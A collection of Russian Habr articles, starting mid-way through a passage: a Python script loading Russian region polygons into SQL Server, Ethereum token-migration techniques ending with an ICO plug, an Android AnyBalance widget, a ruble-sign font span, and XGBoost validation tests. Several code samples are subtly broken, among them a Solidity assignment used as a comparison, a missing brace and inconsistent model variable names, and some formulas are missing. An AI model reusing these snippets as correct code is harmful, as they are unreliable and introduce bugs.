# вложенный цикл перебора списков - пар координат точек границ полигона
for k in range(len(data[i][j])):
lat_ = str(data[i][j][k][1]) # широта указана на втором месте в паре
lon_ = str(data[i][j][k][0]) # долгота указана на первом месте в паре
# описание полигона должно заканчиваться одинаковой парой координат
# в файле это не так, поэтому сохраним первую пару и потом добавим
# эту пару как завершающую перед закрытием полигона
if k == 0:
lat_beg = lat_
lon_beg = lon_
# добавляем к строке пару координат и запятую на случай начала описания
if str_[-2:] == '((':
str_ = str_ + lat_ + ' ' + lon_ + ', '
# добавляем к строке пару координат
# и завершающую пару координат если это окончание описания полигона
if k == len(data[i][j]) - 1:
str_ = str_ + lat_ + ' ' + lon_ + ', ' + lat_beg + ' ' + lon_beg + '))'
# добавляем к строке пару координат и запятую, если это не начало
# и не конец описания, можно соединить с первым IF и вписать в блок else
# второго IF, но так детальнее
if str_[-2:] != '((' and k != len(data[i][j]) - 1:
str_ = str_ + lat_ + ' ' + lon_ + ', '
# если это не последний полигон субъекта - ставим запятую
if int(j) < (len(data[i]) - 1):
str_ = str_ + ', '
# завершаем скобкой мультиполигон (субъект РФ)
str_ = str_ + ')'
# пишем SQL-инструкцию для добавления строки в таблицу,
# добавляем только название субъекта в первый стобец
# и полученную текстовую строку описания - в третий столбец
comm: str = 'INSERT INTO sandbox.dbo.geozones_RF_subj VALUES(' + \
"'" + i + "'" + ', NULL, ' + "'" + str_ + "'" + ')'
# запускаем SQL-инструкцию на сервере
cursor.execute(comm)
# записываем изменение таблицы (новую добавленную строку)
cnxn.commit()
#закрываем соединение с сервером
cnxn.close()
```
В итоге получаем таблицу - заготовку для конструирования соответствующего субъекту РФ значения в формате Geography
Таблица с текстовыми описаниями мультиполигонов субъектов РФЗаполним значениями столбец Polygon\_geo предварительными значениями
```
UPDATE [sandbox].[dbo].[geozones_RF_subj]
SET Polygon_geo = geography::STMPolyFromText(List_of_coords, 4326)
```
Некоторые субъекты получились инвертированными - т.е. они состоят из всего земного шара, за исключением самого субъекта РФ. Также некоторые субъекты получились некорректными. Проверяется методом .STIsValid()
Определение правильных и неправильных объектов типа GeographyИнвертированный объект видно на вкладке Spatial results - он будет белым, а вся остальная область - цветная.
Инвертированный объект на вкладке Spatial resultsДля того, чтобы исправить обе проблемы: "неправильность" и инвертированность - сначала применим метод MakeValid() и перезапишем столбец Polygon\_geo
```
UPDATE [sandbox].[dbo].[geozones_RF_subj] SET Polygon_geo=Polygon_geo.MakeValid()
```
Затем инвертируем те значения, площадь которых более 500 млн. км2
```
UPDATE [sandbox].[dbo].[geozones_RF_subj]
SET Polygon_geo=Polygon_geo.ReorientObject()
where Polygon_geo.STArea()/1000000>500000000
```
Результат: таблица субъектов РФ в формате geography::MiltiPolygon, которая готова служить для определения наименования субъекта РФ и часового пояса по координатам геопозиции объекта.
Готовая таблица субъектов РФ в формате Geography, вывод на вкладке Spatial ResultsВ таблице нет Крыма и Севастополя, не выделены Москва и СПб. Также некоторые границы субъектов немного друг друга пересекают или между ними есть небольшие "щели" пустоты. Это не очень критично для моей задачи и при необходимости можно убрать путем уточнения координат и повторного конструирования значения формата Geography. | https://habr.com/ru/post/563110/ | null | ru | null |
# Смарт контракты Ethereum: что делать при ошибке в смартконтракте или техники миграции
При написании смартконтрактов важно помнить, что после загрузки в блокчейн, они уже не могут быть изменены, а следовательно, не могут быть внесены какие-либо улучшения или исправлены какие-то найденные ошибки! Все мы знаем, что ошибки есть в любой программе, а вернувшись к написанному пару месяцев назад коду мы всегда найдем, что там можно улучшить. Как же быть? Единственно возможный вариант – это загрузить новый контракт с исправленным кодом. Но как же быть, если на базе имеющегося контракта уже выпущены токены? На помощь нам приходит миграция! За последний год я попробовал много разных техник ее реализации, проанализировал применяемые в других крупных блокчейн проектах и что-то поизобретал сам. Подробности под катом.
Сразу оговорюсь, что в рамках данного поста я не буду приводить простыни готовых смартконтрактов, а буду лишь рассматривать и анализировать различные техники. Почти все они в том или ином виде были мной реализованы в контрактах для проектов, в которых мне доводилось участвовать, и многое можно взять с [моего GitHub](https://github.com/isvirin).
Миграция с ERC20-совместимого контракта
---------------------------------------
Начнем рассмотрение с самого простого и распространенного случая, когда исходный контракт, уже загруженный в блокчейн, не содержит каких-либо специальных механизмов для того, чтобы помочь нам с миграцией, т.е. по сути мы имеем обычный ERC20-совместимый контракт. Единственное, что мы полезного можем взять из исходного контракта, это балансы всех держателей токенов и общее количество выпущенных токенов для проверки, что мы никого не забыли при миграции.
```
contract ERC20base {
uint public totalSupply;
function balanceOf(address _who) public constant returns(uint);
}
```
К сожалению, интерфейс ERC20-совместимого контракта не позволяет узнать список всех держателей токенов, поэтому при миграции нам придется выяснить полный список держателей из какого-то другого источника, например, выгрузив его из [etherscan.io](http://etherscan.io). Пример контракта, на который осуществляется миграция, приведен в следующем листинге:
```
contract NewContract {
uint public totalSupply;
mapping (address => uint) balanceOf;
function NewContract(address _migrationSource, address [] _holders) public {
for(uint i=0; i<_holders.length; ++i) {
uint balance = ERC20base(_migrationSource).balanceOf(_holders[i]);
balanceOf[_holders[i]] = balance;
totalSupply += balance;
}
require(totalSupply == ERC20base(_migrationSource).totalSupply());
}
}
```
Конструктор контракта получает в качестве параметров адрес исходного ERC20-совместимого контракта, а также список держателей токенов, выгруженный вручную через etherscan.io. Следует обратить внимание, что в последней сроке конструктора проверяем, что количество токенов после миграции не изменилось, а следовательно, ни один держатель токенов не забыт. Необходимо учитывать, что такая миграция возможна лишь в том случае, если количество держателей токенов невелико и цикл по ним всем возможен в рамках одной транзакции (лимита газа, установленного в Ethereum для одной транзакции). Если все же количество держателей токенов не позволяет мигрировать за одну транзакцию, то эту функциональность придется вынести в отдельную функцию, которую можно будет вызвать необходимое количество раз, а контракт в этом случае будет выглядеть так:
```
contract NewContract {
uint public totalSupply;
mapping (address => uint) balanceOf;
address public migrationSource;
address public owner;
function NewContract(address _migrationSource) public {
migrationSource = _migrationSource;
owner = msg.sender;
}
function migrate(address [] _holders) public
require(msg.sender == owner);
for(uint i=0; i<_holders.length; ++i) {
uint balance = ERC20base(_migrationSource).balanceOf(_holders[i]);
balanceOf[_holders[i]] = balance;
totalSupply += balance;
}
}
}
```
В конструкторе данного контракта запоминается адрес исходного контракта, а также инициализируется поле owner, чтобы запомнить адрес владельца контракта, чтобы только он имел право вызывать функцию migrate(), вызвав которую несколько раз, мы можем мигрировать любое количество держателей токенов с исходного контракта.
Недостатки данного решения заключаются в следующем:
1. На старом смартконтракте токены останутся у их владельцев, а на новом просто продублируются их балансы. Насколько это плохо, зависит от того, как составлен ваш Tokens sale agreement или любой другой документ, описывающий объем ваших обязательств перед держателями токенов вашего проекта, и не удвоятся ли ваши обязательства перед ними после создания «дубликата».
2. На миграцию вы расходуете собственный газ, но это, вобщем-то, логично, т.к. делать миграцию придумали вы и в любом случае доставляете неудобства вашим пользователям, хоть оно и ограничивается тем, что им надо переписать в своих кошельках адрес смартконтракта со старого на новый.
3. В процессе осуществления миграции, если она конечно не умещается в одну транзакцию, могут произойти трансферы токенов между адресами их владельцев, а следовательно, могут добавиться новые держатели и может измениться баланс существующих.
Но с этим, к сожалению, ничего поделать нельзя, а для более комфортной и удобной миграции следует предусматривать какие-то вспомогательные средства в исходном контракте.
Миграция между этапами краудсейла
---------------------------------
В мире современных ICO довольно распространена практика, когда для различных этапов сбора средств делают отдельные контракты, мигрируя выданные токены на новые контракты нового этапа. Это, конечно, можно делать так, как мы рассмотрели выше, но, если мы точно знаем, что нам придется мигрировать, то почему бы сразу не упростить себе жизнь? Для этого достаточно ввести публичное поле
```
address [] public holders;
```
В это поле необходимо добавлять всех держателей токенов. Если контракт уже на ранних этапах сбора разрешает делать держателям перемещения токенов, т.е. реализует transfer(), необходимо позаботиться о том, чтобы массив обновлялся, например, как-то так
```
mapping (address => bool) public isHolder;
address [] public holders;
….
if (isHolder[_who] != true) {
holders[holders.length++] = _who;
isHolder[_who] = true;
}
```
Теперь на стороне приемного контракта можно использовать аналогичную рассмотренной ранее технологию миграции, но теперь нет необходимости передавать массив в качестве параметра, достаточно обратиться к уже готовому массиву в исходном контракте. Также следует помнить, что размер массива может не позволить проитерировать его за одну транзакцию по причине ограничения газа на одну транзакцию, а следовательно, нужно предусмотреть функцию migrate(), которая будет получать два индекса – номера начального и конечного элементов массива для обработки в рамках данной транзакции.
Недостатки данного решения вобщем-то такие же как у предыдущего, разве что теперь нет необходимости делать выгрузку списка держателей токенов через etherscan.io.
Миграция со сжиганием исходных токенов
--------------------------------------
Все-таки раз мы говорим про миграцию, а не про дублирование токенов в новом смартконтракте, то необходимо озаботиться вопросом уничтожения (сжигания) токенов на исходном контракте при создании их копии на новом. Очевидно, что недопустимо оставлять в смартконтракте «дыру», которая позволила бы кому угодно, будь он даже владельцем смартконтракта, сжигать токены других держателей. Такой смартконтракт будет просто скамовым! Осуществлять такого рода манипуляции над своими токенами может только их держатель, а следовательно, и осуществлять миграцию должен сам держатель. Владелец смартконтракта в данном случае может только запустить эту миграцию (перевести смартконтракт в состояние миграции). Пример реализации такой миграции я встретил в проекте GOLEM (ссылка на их гитхаб в конце поста), затем реализовал ее в нескольких своих проектах.
В исходном контракте определим интерфейс MigrationAgent, который впоследствии должен быть реализован в контракте, на который осуществляется миграция.
```
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
```
В исходном контракте токена должна быть реализована следующая дополнительная функциональность:
```
contract TokenMigration is Token {
address public migrationAgent;
// Migrate tokens to the new token contract
function migrate() external {
require(migrationAgent != 0);
uint value = balanceOf[msg.sender];
balanceOf[msg.sender] -= value;
totalSupply -= value;
MigrationAgent(migrationAgent).migrateFrom(msg.sender, value);
}
function setMigrationAgent(address _agent) external {
require(msg.sender == owner && migrationAgent == 0);
migrationAgent = _agent;
}
}
```
Таким образом, владелец исходного смартконтракта должен вызвать setMigrationAgent(), передав ему в качестве параметра адрес смартконтракта, на который осуществляется миграция. После этого все держатели токенов исходного смартконтракта должны вызвать функцию migrate(), которая осуществит уничтожение их токенов в исходном смартконтракте и добавление в новом (путем вызова функции migrateFrom() нового контракта). Ну а новый контракт должен собственно содержать реализацию интерфейса MigrationAgent, например, так:
```
contract NewContact is MigrationAgent {
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
address public migrationHost;
function NewContract(address _migrationHost) {
migrationHost = _migrationHost;
}
function migrateFrom(address _from, uint256 _value) public {
require(migrationHost == msg.sender);
require(balanceOf[_from] + _value > balanceOf[_from]); // overflow?
balanceOf[_from] += _value;
totalSupply += _value;
}
}
```
В этом решении прекрасно все! Кроме того, что пользователю надо вызвать функцию migrate(). Ситуация существенно осложняется тем, что вызов функций поддерживают лишь единицы кошельков и они, как правило, не являются самыми удобными. Поэтому, поверьте, если среди держателей ваших токенов есть не только криптогики, но и простые смертные люди, они вас просто проклянут, когда вы будете объяснять им, что надо установить какой-нибудь Mist, а затем вызвать какую-то функцию (слава Богу, хоть без параметров). Как же быть?
А можно поступить очень просто! Ведь любой пользователь криптовалюты, даже самый-самый начинающий, умеет хорошо делать одно – отправлять крипту со своего адреса на какой-то другой. Так пусть таким адресом будет адрес нашего смартконтракта, а его fallback функция в режиме «миграции» будет просто вызвать migrate(). Таким образом, держателю токенов для осуществления миграции будет достаточно перевести хотя бы 1 wei на адрес смартконтракта, находящегося в режиме «миграции», чтобы произошло чудо!
```
function () payable {
if (state = State.Migration) {
migrate();
} else { … }
}
```
Заключение
----------
Рассмотренные решения концептуально покрывают все возможные способы осуществления миграции токенов, хотя возможны вариации в конкретных реализациях. Отдельного внимания достоин подход «перегонного сосуда» (ссылка в конце поста). Независимо от используемого вами подхода к миграции, помните, что смартконтракт – это не просто программа, выполняемая внутри виртуальной машины Ethereum, а это некий отчужденный независимый договор, а любая миграция предполагает, что вы меняете условия этого договора. Уверены ли вы, что держатели токенов хотят поменять условия договора, который заключили, приобретая токены? Это на самом деле хороший вопрос. И существует очень правильная практика, «спрашивать» держателей токенов о том, хотят ли они «переехать» на новый контракт. Именно осуществление миграции через голосование я реализовал в смартконтракте своего проекта [PROVER](http://prover.io), с текстом контракта можно познакомиться на моем GitHub-е. Ну и конечно приглашаю присоединяться к ICO моего проекта [PROVER](http://prover.io).
Надеюсь, что все это кому-то полезно и нужно :).
Полезные ссылки
---------------
* [Моя видеопрезентация по созданию простого смартконтракта для ICO](https://www.youtube.com/watch?v=lKnOxopK6Yc)
* [Мой пост про написание смартконтракта для ICO](https://habrahabr.ru/post/338084/)
* [Реализация миграции токенов в проекте GOLEM](https://github.com/golemfactory/golem-crowdfunding/blob/master/contracts/Token.sol)
* [Описание миграции методом «перегонного сосуда»](https://blog.aira.life/the-contract-of-the-distillatory-vessel-ambix-sol-for-interrupted-ico-558aac436623)
* [Мой проект PROVER](https://prover.io) — **идет подготовка к ICO!**
* [Еще пост про мой проект PROVER](https://habrahabr.ru/company/emercoin/blog/334650/)
* [Видеопрезентация проекта PROVER (англ)](https://www.youtube.com/watch?v=JhG8ckZ5mpo&t=541s) | https://habr.com/ru/post/339102/ | null | ru | null |
# Виджет для Android на JavaScript за 15 минут на примере Хабра-Кармы
Сразу говорю, кармавиджет — вовсе не основная цель статьи. В этой статье я хочу представить широкой общественности способ быстрого создания информационных виджетов для Android на JavaScript всего лишь на примере кармы и рейтинга хабра. Виджет будет смотреться примерно так:
Виджет будет представлять собой плагин для программы [AnyBalance](https://play.google.com/store/apps/details?id=com.dukei.android.apps.anybalance) (Android), основная идея которой — собрать общую базу способов извлечения балансов и прочих параметров из личных кабинетов различных провайдеров, например, балансов на сотовых телефонах, интернет провайдерах и т.д. Эти плагины (будем их дальше называть «провайдерами») пишутся на JavaScript и имеют [открытый исходный код](http://code.google.com/p/any-balance-providers/source/browse/trunk/). Сейчас база AnyBalance содержит около [80 провайдеров](http://code.google.com/p/any-balance-providers/downloads/list?can=2&q=Type%3DAnyBalance-Provider), но постоянно расширяется. И хабрахабр там будет не лишним :)
Итак, чтобы извлечь нужные настройки со страницы Хабрацентра, например, [моего](http://habrahabr.ru/users/dukei/), нужно посмотреть, как они там лежат. Мы видим:
```
карма
3,0
3 голоса
рейтинг
1,5
```
Поскольку мы вооружены регулярными выражениями, то извлечь нужные данные труда не составит. Таким образом, осталось понять, как AnyBalance нам может в этом помочь.
AnyBalance предоставляет [API](http://code.google.com/p/any-balance-providers/wiki/AnyBalanceAPI), в котором предусмотрено взаимодействие плагина с программой. AnyBalance говорит плагину — получи данные, вызывая его функцию main(), и передавая ему настройки пользователя, а он запрашивает страницы из интернета (поддерживаются методы GET и POST), извлекает из них данные и возвращает их программе. Для извлечения хабракармы нам понадобится GET запрос Хабрацентра им. заданного пользователя ([AnyBalance.requestGet](http://code.google.com/p/any-balance-providers/wiki/AnyBalanceAPI#requestGet)) и передача извлеченных значений программе ([AnyBalance.setResult](http://code.google.com/p/any-balance-providers/wiki/AnyBalanceAPI#setResult)).
Сама AnyBalance делает всё остальное, то есть показывает эту информацию на виджетах, запрашивает обновление данных по расписанию, строит графики и ведет статистику. С её помощью можно мониторинг всех используемых в семье счетов загнать в мобильный телефон.
Итак, код для извлечения кармы и прочих параметров будет выглядеть следующим образом:
```
var replaceFloat = [/\s+/g, '', /,/g, '.'];
function main(){
//Получаем настройки пользователя
var prefs = AnyBalance.getPreferences();
//Получаем Хабрацентр
var html = AnyBalance.requestGet("http://habrahabr.ru/users/" + prefs.login);
//Проверяем, не случилась ли ошибка
var error = getParam(html, null, null, /(страница не найдена \(404\))/i);
if(error)
throw AnyBalance.Error("Хабрапользователь " + prefs.login + " не найден. Проверьте имя!");
var result = {success: true};
//Извлекаем данные
//getParam определена тут же, и представляет собой функцию, позволяющей в одну строчку
//извлечь из передаваемой строки подстроку, согласно регулярному выражению, сделать в нем требуемые замены и преобразовать к заданному типу.
getParam(html, result, 'karma', /]\*>[\s\S]\*?]\*>(-?\d[\d\s\.,]\*)/i, replaceFloat, parseFloat);
getParam(html, result, 'rating', /]\*>[\s\S]\*?]\*>(-?\d[\d\s\.,]\*)/i, replaceFloat, parseFloat);
getParam(html, result, 'votes', /]\*>(-?\d[\d\s\.,]\*)/i, replaceFloat, parseFloat);
result.\_\_tariff = prefs.login;
//Возвращаем данные программе
AnyBalance.setResult(result);
}
```
Всё довольно прямолинейно. Чтобы не перегружать читателя излишними техническими деталями, не буду приводить исходник функции getParam, но её всегда можно посмотреть в [репозитории](http://code.google.com/p/any-balance-providers/source/browse/trunk/ab-social-habrahabr/main.js).
Итак, сам код простой и короткий. Осталось сделать пару декоративных вещей. А именно
* [манифест](http://code.google.com/p/any-balance-providers/wiki/Manifest), в котором будут прописаны названия и типы извлекаемых провайдером данных, название провайдера, версия и другая метаинформация.
* [настройки](http://code.google.com/p/any-balance-providers/wiki/Preferences), которые необходимо сделать для корректной работы провайдера. Нам же надо задать имя пользователя.
* [иконка](http://code.google.com/p/any-balance-providers/wiki/Icon) — для красоты.
Манифест представляет собой xml файл. Для описываемого провайдера он будет выглядеть так:
```
xml version="1.0" encoding="utf-8"?
ab-social-habrahabr
Habrahabr
Получает информацию о карме, количество голосов и рейтинг с сайта http://habrahabr для заданного пользователя
Dmitry Kochin
icon.png
preferences.xml
main.js
хабрахабр, хабр, habr
social
```
Настройки — тоже xml файл, ссылка на него (и другие файлы провайдера) присутствует в манифесте. Настройки тесно перекликаются с Preferences в Android, но имеют упрощения. Для кармавиджета нужна только одна настройка:
```
xml version="1.0" encoding="utf-8"?
```
И, наконец, иконка :) Ну в качестве иконки можно взять прямо лого хабра (если, конечно, владельцы ресурса не против).
Всё. Теперь каждый владелец устройства на базе Android может постоянно мониторить свою карму, а также множество других параметров, для которых уже написаны провайдеры, на экране телефона. Полный исходный код провайдера, конечно же, доступен в [репозитории](http://code.google.com/p/any-balance-providers/source/browse/trunk/ab-social-habrahabr).
Написание провайдера, отладка и вырезание иконки у меня заняло ровно 15 минут (засекал). Конечно, я скопировал уже существующий провайдер и просто исправил некоторые места, но ведь это может сделать каждый :) Так что время считаю справедливым.
В данной статье, в силу её краткости, не слишком подробно описана техническая сторона написания провайдера, но все, кому интересно, могут посмотреть [вики](http://code.google.com/p/any-balance-providers/) на googlecode. Кроме того, для написания провайдера необязательно использовать телефон на Android, есть [локальный отладчик](http://code.google.com/p/any-balance-providers/wiki/AnyBalanceDebugger) провайдеров, представляющий собой расширение Google Chrome и позволяющий даже пошаговую отладку.
В окончании статьи призываю читателей стать писателями :) И расширить базу провайдеров, если ваш интернет провайдер, сотовый оператор, погодный сайт, банк-клиент ещё не присутствует в общем списке. | https://habr.com/ru/post/143001/ | null | ru | null |
# Рисуем знак рубля в Android приложении
В последнее время перед разработчиками все чаще ставится задача использовать символ рубля в тексте. Однако, символ рубля [был утвержден относительно недавно](http://ru.wikinews.org/wiki/%D0%91%D0%B0%D0%BD%D0%BA_%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D0%B8_%D1%83%D1%82%D0%B2%D0%B5%D1%80%D0%B4%D0%B8%D0%BB_%D1%81%D0%B8%D0%BC%D0%B2%D0%BE%D0%BB_%D1%80%D1%83%D0%B1%D0%BB%D1%8F), символ получил [свой код в стандате Unicode еще позже](https://twitter.com/ken_lunde/status/430761051290759168). Естественно, гарнитура Roboto на текущих платформах еще не содержит знака рубля.
##### Идея
Создать гарнитуру состоящую из одного символа рубля с кодом [U+20BD](http://www.fileformat.info/info/unicode/char/20bd/index.htm), и при отрисовке текста для символов рубля использовать эту гарнитуру.
##### Немного о Span
В ОС Android существует механизм маркировки строк специальными объектами влияющими на рендеринг текста TextView. Например, существуют объекты для переопределения цвета [заливки](http://developer.android.com/reference/android/text/style/ForegroundColorSpan.html)/[фона](http://developer.android.com/reference/android/text/style/BackgroundColorSpan.html), [стиля](http://developer.android.com/reference/android/text/style/StyleSpan.html) или [всего сразу](http://developer.android.com/reference/android/text/style/TextAppearanceSpan.html) ([полный список](http://developer.android.com/reference/android/text/style/package-summary.html) встроенных в Android маркеров). Об этом механизме уже писале на хабре [здесь](http://habrahabr.ru/post/166351/) и [здесь](http://habrahabr.ru/post/167343/).
##### Создание нужной гарнитуры
За основу будущей гарнитуры я взял готовое решение от Артемия Лебедева, о котором [писали](http://habrahabr.ru/post/48084/) некоторое время назад на Хабре. Эта гарнитура состоит из различных начертаний символа рубля закрепленных за символами латинского алфавита (от строчной *a* до *s*).
Я выбрал глиф, который закреплен за буквой i (). Как мне кажется, он наиболее подходит для использования с гарнитурой Roboto.
Для редактирования гарнитуры, я использовал замечательное приложение [Glyphs](http://www.glyphsapp.com/). Я удалил все глифы из гарнитуры и оставил только выбранный. Ему я назначил код U+20BD. Следующий шаг — экспорт в ttf.
В итоге у меня получилось [так](https://github.com/pepyakin/roublesign/blob/master/app/src/main/assets/fonts/rouble2.ttf).
Конечно, можно было бы отредактировать глиф заглавной Р, дорисовав палочку, однако, я не чувствую в себе уверенности в этом деле. Уж больно много нюансов. Если кто-то может сделать это, с удовольствием приму ваш pull request.
##### Реализация
Для начала создадим проект из шаблона. Я использовал шаблон с Blank Activity из комплекта Android Studio, activity назвал MainActivity.
Разметка для MainActivity выглядит так:
```
```
Тут все просто, создаем LinearLayout с одним потомком EditText. Свойство hint у EditText мы задаем с namespace `tools`, для того что бы подсказка отображалась только в предпросмотре. В программе мы будем задавать подсказку программно.
В `MainActivity#onCreate` мы должны составить [spanned](http://developer.android.com/reference/android/text/Spanned.html) string, в котором все знаки рубля будут маркированны [TypefaceSpan](http://developer.android.com/reference/android/text/style/TypefaceSpan.html), который позволяет изменить гарнитуру для отрисовки заданных символов. Тут нас ожидает маленькая неприятность: TypefaceSpan можно создать только с font-family — названием шрифта из набора системы. К счастью, судя по [исходному коду TypefaceSpan](https://android.googlesource.com/platform/frameworks/base/+/refs/heads/master/core/java/android/text/style/TypefaceSpan.java), этот подход не обусловлен техническими возможностями системы рендеринга текста, что позволяет нам создать собственную версию TypefaceSpan, который поддерживает задание гарнитуры непосредственно объектом [Typeface](https://developer.android.com/reference/android/graphics/Typeface.html).
```
package me.pepyakin.roublesign;
import android.graphics.Paint;
import android.graphics.Typeface;
import android.text.TextPaint;
import android.text.style.MetricAffectingSpan;
public class TypefaceSpan2 extends MetricAffectingSpan {
private final Typeface mTypeface;
public TypefaceSpan2(Typeface typeface) {
mTypeface = typeface;
}
@Override
public void updateDrawState(TextPaint ds) {
apply(ds, mTypeface);
}
@Override
public void updateMeasureState(TextPaint paint) {
apply(paint, mTypeface);
}
private static void apply(Paint paint, Typeface tf) {
int oldStyle;
Typeface old = paint.getTypeface();
if (old == null) {
oldStyle = 0;
} else {
oldStyle = old.getStyle();
}
int fake = oldStyle & ~tf.getStyle();
if ((fake & Typeface.BOLD) != 0) {
paint.setFakeBoldText(true);
}
if ((fake & Typeface.ITALIC) != 0) {
paint.setTextSkewX(-0.25f);
}
paint.setTypeface(tf);
}
}
```
Осталось только сделать маркировку текста с помощью объявленного выше TypefaceSpan2, с необходимой нам гарнитурой.
```
String priceHint = getString(R.string.main_price_hint);
final Typeface roubleSupportedTypeface =
Typeface.createFromAsset(getAssets(), "fonts/rouble2.ttf");
SpannableStringBuilder resultSpan = new SpannableStringBuilder(priceHint);
for (int i = 0; i < resultSpan.length(); i++) {
if (resultSpan.charAt(i) == '\u20BD') {
TypefaceSpan2 roubleTypefaceSpan = new TypefaceSpan2(roubleSupportedTypeface);
resultSpan.setSpan(roubleTypefaceSpan, i, i + 1, 0);
}
}
```
Здесь мы загружаем шаблон нашей строки, содержащей символ рубля и гарнитуру с глифом рубля.
Затем создаем [SpannableStringBuilder](https://developer.android.com/reference/android/text/SpannableStringBuilder.html) на основе шаблона и с помощью [setSpan](https://developer.android.com/reference/android/text/SpannableStringBuilder.html#setSpan(java.lang.Object, int, int, int)) расставляем маркеры для смены гарнитуры.
Назначаем hint,
```
priceInput.setHint(resultSpan);
```
и готово!
[Ссылка на исходники](https://github.com/pepyakin/roublesign) | https://habr.com/ru/post/231203/ | null | ru | null |
# Особенности валидации моделей на Xgboost
Машинное обучение все чаще используется аналитиками для упрощения работы при решении текущих задач, для реализации новых проектов или для выявления каких-либо ошибок и отклонений.
На данный момент одной из лидеров в машинном обучении для многих задач является библиотека XGBoost, основанная на алгоритме дерева решений и реализующая методы градиентного бустинга. Почему? Библиотека наиболее эффективна при построении моделей предсказания на структурированных больших данных, XGBoost поддерживает реализацию на Hadoop, имеется встроенная регуляризация и правила для обработки пропущенных значений, а также с помощью множества настроек можно улучшать качество прогнозирования модели за кратчайшие сроки, ведь имеется возможность параллельной обработки.
### Немного о градиентном бустинге
При GB строятся последовательно уточняющие друг друга элементарные модели, последняя из которых обучается на ошибках предыдущих и ответы моделей суммируются.
По сравнению с GB XGBoost реализует параллельные вычисления, что значительно ускоряет обучение. XGBoost, позволяет пользователям настраивать цели оптимизации и критерии оценки, имеет встроенные правила для обработки пропущенных значений. Особенностями также является использование второй производной функции потерь — встроенная регуляризация, которая помогает предотвратить переобучение. XGBoost применяется для задач классификации, регрессии, упорядочения и ряда других. Наиболее эффективен данный алгоритм при построении моделей предсказания на структурированных больших данных.
Нами была построена модель на XGBoost для задачи предсказания уровня дохода клиентов. Ниже представлен код на Python:
```
train = pd.read_csv('train.csv',sep=';', encoding = 'windows-1251', decimal = ',')
test = pd.read_csv('test.csv',sep=';', encoding = 'windows-1251', decimal = ',')
oot = pd.read_csv('oot.csv',sep=';', encoding = 'windows-1251', decimal = ',')
#Выбираем x, y и убираем столбцы с известными значениями во избежание переобучения:
train_y = np.log(train['TARGET_INCOME'])
train_x = train.drop('TARGET_INCOME',axis =1)
train_x = train_x.drop('INCOME_XGBOOST',axis =1)
test_y = np.log(test['TARGET_INCOME'])
test_x = test.drop('TARGET_INCOME',axis =1)
test_x = test_x.drop('INCOME_XGBOOST',axis =1)
#Наконец можно импортировать модуль xgboost, выставить необходимые параметры и начать обучение модели. На этих данных модель обучается правильно предсказывать.
%%time
from xgboost import XGBRegressor
model = XGBRegressor(
booster = 'gbtree',
colsample_bylevel = 0.5,
colsample_bytree = 0.7,
subsampple = 0.8,
gamma = 0.0,
learning_rate = 0.02,
max_depth = 10,
n_estimators = 5000,
n_jobs = -1,
seed = 555)
model_top.fit(train_x[my_features], train_y, eval_set = [(train_x[my_features], train_y), (test_x[my_features], test_y)], eval_metric = 'rmse', verbose = 100, early_stopping_rounds = 50)
```
Итак, модель обучена и можно проверить ее качество с помощью ошибки rmse. Соответственно, чем она меньше, тем лучше. У нас получилось не самое хорошее качество модели (rmse\_train=0.37; rmse\_test=0.47; rmse\_oot=0.48), что можно исправить, попробовав подобрать подходящие фичи. Для этого выводим топ-30 фичей, на которых обучилась модель, чтоб понимать какие столбцы внесли больший вклад в обучение следующим кодом:
```
feature_names = train_x.columns
f_imp = model.feature_importances_
features_and_imp = pd.DataFrame([[feature_names[i], f_imp[i] for i in range(len(feature_names))])
max_features = features_and_imp.sort_values(by = 1, ascending = False)
max_features[:30]
```
Немного поэкспериментировав с фичами, были получены меньшие ошибки: rmse\_train=0.361; rmse\_test=0.468; rmse\_oot=0.475.
Вуаля, теперь наша модель может предсказать уровень доходов клиентов:
```
train_xtop = train_x[my_features]
test_xtop = test_x[my_features]
oot_xtop = oot[my_features]
pred_train = model_top.predict(train_xtop, ntree_limit = model_top.best_ntree_limit)
pred_test = model_top.predict(test_xtop, ntree_limit = model_top.best_ntree_limit)
pred_oot = model_top.predict(oot_xtop, ntree_limit = model_top.best_ntree_limit)
```
После чего можно приступать к валидации. Существует множество валидационнных тестов для проверки качества работы модели. Для моделей градиентного бустинга разумно использовать следующие:
### Анализ REC-кривой модели
Данный тест проводится для оценки точности модельных оценок регрессии относительно базового прогноза. В качестве базового прогноза может рассматриваться как простейшая статистическая конструкция (среднее, медианное значение выборки для разработки), так и
Для сравнения регрессионных моделей между собой или с базовым прогнозом производится построение REC-кривых. Для оценки ошибки могут быть использованы различные метрики (например, MSE или MAD). Производится расчёт площади над кривой (AOC – Area Over Curve) как для исследуемой модели, так и для базового прогноза. Оценка качества производится на основании отношения
График REC-кривой показывает точность модели в зависимости от допустимого размера ошибки (долю наблюдений, для которых значение ошибки меньше, чем откладываемое по горизонтальной оси). Площадь над REC-кривой асимптотически равна математическому ожиданию ошибки, что позволяет использовать данную метрику для сопоставления моделей. Таким образом, если площадь над REC-кривой модели
превышает площадь над кривой базового прогноза
можно сделать вывод о том, что точность модели хуже, чем у базового прогноза. Также помимо сравнения ошибки модели с базовым прогнозом, представленная графическая визуализация позволяет анализировать качество моделей посредством скорости накопления точности модельных оценок в зависимости от уровня ошибки. В случае пересечения REC-кривых, лучшая модель может определяться не только площадью
над REC-кривой, но и бизнес-смыслом задачи.
В нашем случае график показывает очень хорошую точность модели:
### Коэффициент корреляции Спирмена
Данный тест нужен для оценки предсказательной силы модели в терминах ранговой корреляции между прогнозными и фактическими значениями целевой переменной.
Коэффициент ранговой корреляции Спирмена рассчитывается по формуле*:*
Необходимо отметить, что часто используемый на практике метод расчёта коэффициента является некорректным в общем случае, и может быть использован только тогда, когда все прогнозные значения целевой переменной различны (аналогично для фактических значений).
Тест позволяет оценить степень согласованности модельных и фактических значений, однако никак не оценивает точность оценок. Дополнительно приводится визуализация – строится график разброса (scatter plot), где по оси X отложены фактические значения, а по оси Y – соответствующие им модельные.
Вот так выглядит график разброса для нашей модели:
### Анализ кривой learning curve
Кривая learning curve – это график изменения скорости обучения модели. То есть данный тест показывает изначальную сложность обучения.
В нашем случае модель показывает хороший результат:
Также еще были проведены: тест на актуальность данных, анализ репрезентативности выборок, которые тоже показали достойные результаты.
